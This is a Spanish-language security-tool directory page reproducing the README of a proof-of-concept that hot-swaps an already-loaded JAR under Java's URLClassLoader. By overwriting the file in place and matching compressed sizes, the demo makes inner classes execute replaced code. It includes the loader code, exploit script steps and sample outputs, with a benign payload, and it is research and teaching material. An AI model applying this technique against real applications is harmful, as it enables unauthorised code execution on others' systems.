Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hot-jar-swapping-urlclassloader — Demo del intercambio de JAR de URLClassLoader que muestra la capacidad de reemplazar y explotar un JAR ya cargado con clases internas. | Kitploit
Herramientas/GitHubGitHub/fransr/hot-jar-swapping-urlclassloader
ExplotaciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubfransr/hot-jar-swapping-urlclassloader

hot-jar-swapping-urlclassloader

Demo del intercambio de JAR de URLClassLoader que muestra la capacidad de reemplazar y explotar un JAR ya cargado con clases internas.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
327hace 3 añosRevisado por Kitploit

Intercambio en caliente de JAR con URLClassLoader

El siguiente código de ejemplo demuestra la capacidad de intercambiar en caliente un JAR ya cargado y obtener ejecución de código abusando del hecho de que las clases internas todavía acceden al archivo JAR cuando se invocan, siempre y cuando el inodo no cambie.

Probado en MacOS con OpenJDK (y también explotado en el publicador de Apple Author mediante Transporter).

Demo de la charla de Frans Rosén "Story of a RCE on Apple through hot jar swapping" de la NahamCon 2022 EU.

Cómo ejecutarlo

build-and-run.sh

Lo ejecutas con:

root@kitploit:~
./build-and-run.sh

Esto hará:

root@kitploit:~
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar

Bootstrapper cargará y ejecutará la clase HelloWorld.Main usando URLClassLoader y te pedirá que ejecutes el método hello de la clase HelloWorld.Secondary, que también ya ha sido cargada. Esto sirve para controlar cuándo reemplazar el JAR que ya se ha cargado.

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Ahora puedes decidir si pulsar enter sin reemplazar ningún JAR; esto mostrará el flujo de código correcto de HelloWorld/Secondary.java:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123

This is from the legit postVisitDirectory function:
testdir

End of run, goodbye

exploit.sh

El exploit.sh hará:

root@kitploit:~
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not

La parte de copiado al sobrescribir HelloWorld.jar con exploit.jar es importante, porque si el inodo cambia, el exploit no tendrá éxito. Un comando mv escribirá un nuevo inodo, pero cp sobre un archivo existente no. Lo mismo ocurría al usar la extracción ZIP: el inodo del JAR ya existente nunca cambiaba, lo que permitía que el exploit funcionara.

Si quieres probar el intercambio en caliente de JAR, ejecuta exploit.sh en otra ventana después de ejecutar pero antes de pulsar enter al llamar a build-and-run.sh:

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

## Run this in a different terminal:

$ ./exploit.sh 

NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED

-rw-r--r--  1 frans  staff  2281 Dec  9 13:20 rce.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:20 ../HelloWorld.jar

## Now click enter in the other tab to complete the ./build-and-run.sh)

Si ahora pulsas enter en ./build-and-run.sh, deberías ver con éxito el código reemplazado:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir

End of run, goodbye

Demostrando que podemos abusar del hecho de que las clases internas/anónimas todavía se cargan desde el archivo JAR físico incluso si el URLClassLoader ya había cargado el JAR antes de que lo reemplazáramos.

Explicación del problema

Este repositorio de código intenta explicar que es posible sobrescribir archivos JAR ya cargados para obtener ejecución de código bajo unos pocos requisitos previos.

La idea es que el JAR se cargó inicialmente con URLClassLoader:

root@kitploit:~
        URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
        URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
        Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
        Constructor<?> constructor = beanClass.getConstructor();
        Object beanObj = constructor.newInstance();
        Method method = beanClass.getMethod("hello");

Y un método secundario también se cargó al arrancar pero nunca se invocó:

root@kitploit:~
        // Initiating the secondary class on boot, this is the one we replace the inner class of
        Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
        Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
        Object secondaryObj = secondaryConstructor.newInstance();
        Method secondaryMethod = secondaryClass.getMethod("hello");

Si el JAR se reemplaza mientras la aplicación está en ejecución, y la clase que se cargó pero a la que nunca se le invocaron métodos también tiene clases internas, podemos hacer que ejecute código diferente del nuevo JAR si la invocación ocurre más tarde:

root@kitploit:~
        // Invoke secondary class hello that contains an inner class
        secondaryMethod.invoke(secondaryObj);

Entonces, si este método contiene una clase interna (aparecen en el JAR como $1.class) y reemplazamos la clase interna con algo del mismo tamaño y tasa de compresión, podemos intercambiar en caliente el JAR y lograr que nuestro propio código se ejecute.

Explicación del exploit

La clase anónima del archivo Exploit/HelloWorld/Secondary.java se compila en la clase interna Exploit/HelloWorld/Secondary$1.class, que tiene el mismo tamaño y tasa de compresión que cuando se compila y comprime HelloWorld/Secondary.java. Si el tamaño o la tasa de compresión difirieran, obtendrías un fallo al pulsar enter en build-and-run.sh. Así que si cambiaras Exploit/HelloWorld/Secondary.java, por ejemplo (functionn en lugar de function:):

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("\nThis is from the legit postVisitDirectory functionn");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }

Donde el resultado de compresión es el mismo pero la tasa de compresión es incorrecta:

root@kitploit:~
$ ./exploit.sh 
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2280 Dec  9 13:44 exploit.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:44 ../HelloWorld.jar

verías:

root@kitploit:~
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Hello from secondary class, here are all files in testdir/

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
	at HelloWorld.Secondary.hello(Secondary.java:11)
	... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
	at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	... 6 more

En OpenJDK parece que si el tamaño original difiere pero el tamaño de compresión es el mismo, todavía funciona:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }
root@kitploit:~
$ ./exploit.sh 
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2281 Dec  9 13:52 exploit.jar
-rw-r--r--@ 1 frans  staff  2282 Dec  9 13:52 ../HelloWorld.jar
root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir

El exploit.sh seguirá diciendo que hay una diferencia, ya que podría no funcionar en todas las versiones.

También verás que si cambias cosas en Exploit/HelloWorld/Secondary.java fuera de la clase interna, como:

root@kitploit:~
System.out.println("\nEnd of run, goodbye");

por:

root@kitploit:~
System.out.println("\nEnd of run, goodbya");

lo que hará que Secondary.class tenga la misma tasa de compresión y tamaño, el contenido reemplazado no se activará, ya que la clase ya está cargada por URLClassLoader, confirmando que esto solo afecta a las clases internas (las que se nombran $1.class en el JAR), porque se cargan desde el archivo JAR cuando se utilizan:

root@kitploit:~
End of run, goodbye
Descargar herramienta